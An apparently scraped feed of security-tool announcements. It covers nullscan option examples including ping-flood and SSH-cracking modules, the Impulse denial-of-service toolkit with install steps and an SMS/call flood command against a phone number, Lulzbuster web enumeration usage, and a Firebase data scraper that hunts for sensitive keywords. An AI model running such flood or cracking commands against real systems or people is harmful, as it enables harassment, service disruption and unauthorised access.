-p 'tcp=ssh,http;host=zonetransfer;udp'

-m 'icmp/ping ping_flood ping -f -s 9999'

-a 'tcp/ssh crack_ssh sshcracker -c arg -f arg'

Example


Installation
Run setup.sh. Install needed python modules afterwards using pip install -r docs/requirements.txt.

Author
noptrix

Notes
  • Please check the manpage from docs/nullscan.1
  • Use '?' option-value for any cmdline options. It gives you information for usage and examples.
  • clean code; real project
  • nullscan is already packaged and available for BlackArch Linux
  • My master-branches are always stable; dev-branches are created for current work.
  • All of my public stuff you find are officially announced and published via nullsecurity.net.

Disclaimer
We hereby emphasize, that the hacking related stuff found on nullsecurity.net are only for education purposes. We are not responsible for any damages. You are responsible for your own actions.


Impulse - Impulse Denial-of-service ToolKit

$
0
0

Modern Denial-of-service ToolKit

Main window


Methods:
MethodTargetDescription
SMS+PHONESMS & CALL FLOOD
NTPIP:PORTNTP amplification is a type of DistributedDenial of Service (DDoS) attack in which the attacker exploits publically-accessible Network Time Protocol (NTP) servers to overwhelm the targeted with User Datagram Protocol (UDP) traffic.
SYNIP:PORTA SYN flood (half-open attack) is a type of denial-of-service (DDoS) attack which aims to make a server unavailable to legitimate traffic by consuming all available server resources.
TCPIP:PORTWhat is a SYN flood attack. TCP SYN flood (a.k.a. SYN flood) is a type of Distributed Denial of Service (DDoS) attack that exploits part of the normal TCP three-way handshake to consume resources on the targeted server and render it unresponsive.
UDPIP:PORTA UDP flood is a type of denial-of-service attack in which a large number of User Datagram Protocol (UDP) packets are sent to a targeted server with the aim of overwhelming that device’s ability to process and respond. The firewall protecting the targeted server can also become exhausted as a result of UDP flooding, resulting in a denial-of-service to legitimate traffic.
POD (Ping of Death)IPPing of Death (a.k.a. PoD) is a type of Denial of Service (DoS) attack in which an attacker attempts to crash, destabilize, or freeze the targeted computer or service by sending malformed or oversized packets using a simple ping command.
HTTPURLHTTP Flood is a type of Distributed Denial of Service (DDoS) attack in which the attacker manipulates HTTP and POST unwanted requests in order to attack a web server or application. These attacks often use interconnected computers that have been taken over with the aid of malware such as Trojan Horses.
SlowlorisIP:PORTSlowloris is a denial-of-service attack program which allows an attacker to overwhelm a targeted server by opening and maintaining many simultaneous HTTP connections between the attacker and the target.
MemcachedIP:PORTA memcached distributed denial-of-service (DDoS) attack is a type of cyber attack in which an attacker attempts to overload a targeted victim with internet traffic. The attacker spoofs requests to a vulnerable UDP memcached* server, which then floods a targeted victim with internet traffic, potentially overwhelming the victim’s resources. While the target’s internet infrastructure is overloaded, new requests cannot be processed and regular traffic is unable to access the internet resource, resulting in denial-of-service.

Installation:
  • Windows:
    • Download Python 3.6 from here
    • Launch installer, click add python to PATH
    • Download Impulse
    • Open cmd or powershell in Impulse directory
    • Run this command: pip install -r requirements.txt
    • And this: python impulse.py --help
  • Linux/Termux:
    • sudo apt update
    • sudo apt install python python-pip git -y
    • git clone https://github.com/LimerBoy/Impulse
    • cd Impulse/
    • pip install -r requirements.txt
    • python impulse.py --help

Example SMS & Call flood:
python impulse.py --method SMS --target +XXXXXXXXXXXX --time 20 --threads 2



Lulzbuster - A Very Fast And Smart Web Directory And File Enumeration Tool Written In C

$
0
0

Lulzbuster is a very fast and smart web directory and file enumeration tool written in C.

Usage
$ lulzbuster -H
__ __ __ __
/ /_ __/ /___ / /_ __ _______/ /____ _____
/ / / / / /_ / / __ \/ / / / ___/ __/ _ \/ ___/
/ / /_/ / / / /_/ /_/ / /_/ (__ ) /_/ __/ /
/_/\__,_/_/ /___/_.___/\__,_/____/\__/\___/_/

--==[ by nullsecurity.net ] ==--

usage

lulzbuster -s <arg> [opts] | <misc>

target options

-s <url> - start url to begin scan with

http options

-h <type> - http request type (default: GET) - ? to list types
-x <code> - exclude http status codes (default: 400,404,500,501,502,503
multi codes separated by ',')
-f - follow http redirects. hint: better try appending a '/'
with '-A' option first instead of using '-f'
-F <num> - num level to follow http redirects (default: 0)
-u <str> - use r-agent string (default: built-in windows firefox)
-U - use random built-in user-agents
-c <str> - pass custom header(s) (e.g. 'Cookie: foo=bar; lol=lulz')
-a <creds> - http auth credentials (format: <user>:<pass>)
-r - turn on auto update referrer
-j <num> - define http version (default: curl's default) - ? to list

timeout options

-D <num> - num seconds for delay between requests (default: 0)
-C <num> - num seconds for connect timeout (default: 10)
-R <num> - num seconds for request timeout (default: 30)
-T <num> - num seconds to give up and exit lulzbuster completely
(default: none)

tuning options

-t <num> - num threads for concurrent scanning (default: 30)
-g <num> - num connection cache size for curl (default: 30)
note: this value should always equal to -t's value

other options

-w <file> - wordlist file
(default: /usr/local/share/lulzbuster/lists/medium.txt)
-A <str> - append any words separated by comma (e.g. '/,.php,~bak)
-p <addr> - proxy address (format: <scheme>://<host>:<port>) - ? to
list supported schemes
-P <creds> - proxy auth credentials (format: <user>:<pass>)
-i - insecure mode (skips ssl/tls cert verification)
-S - smart mode aka eliminate false-positives, more infos,
et c. (use this if speed is not your 1st priority!)
-n <str> - nameservers (default: '1.1.1.1,8.8.8.8,208.67.222.222'
multi separated by '.')
-l <file> - log found paths and valid urls to file

misc

-X - print built-in user-agents
-V - print version of lulzbuster and exit
-H - print this help and exit

Author
noptrix

Notes
  • clean code; real project
  • lulzbuster is already packaged and available for BlackArch Linux
  • My master-branches are always stable; dev-branches are created for current work.
  • All of my public stuff you find are officially announced and published via nullsecurity.net.

Disclaimer
We hereby emphasize, that the hacking related stuff found on nullsecurity.net are only for education purposes. We are not responsible for any damages. You are responsible for your own actions.


Firebase-Extractor - A Tool Written In Python For Scraping Firebase Data

$
0
0

This tool is written in python2, the purpose of this tool is to parse all the results from Bing search.Basically whenever a firebaseio URL is found for an app , User instead of searching for sensitive data by going manually through the search results can use this tool.This tool works by using the given Firebase URL as a search query in the bing search engine, scraping the first 4 pages from the search results , it then finally parses all the URL's for sensitive keywords.

Below Modules were Used:
1.sys
2.requests
3.bs4 // pip install bs4 //
4.urllib2
5.pyfiglet // pip install pyfiglet //
6.re
[+]bs4(Beautiful soup) module is used for parsing and extracting data specific to html.
[+]pyfiglet module is used for generating the banner for the tool.

Running Instructions:
On command line run python firebase.py xyz.firebaseio.com
where xyz is the app or company specific name.


Viewing all 5816 articles
Browse latest View live


<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>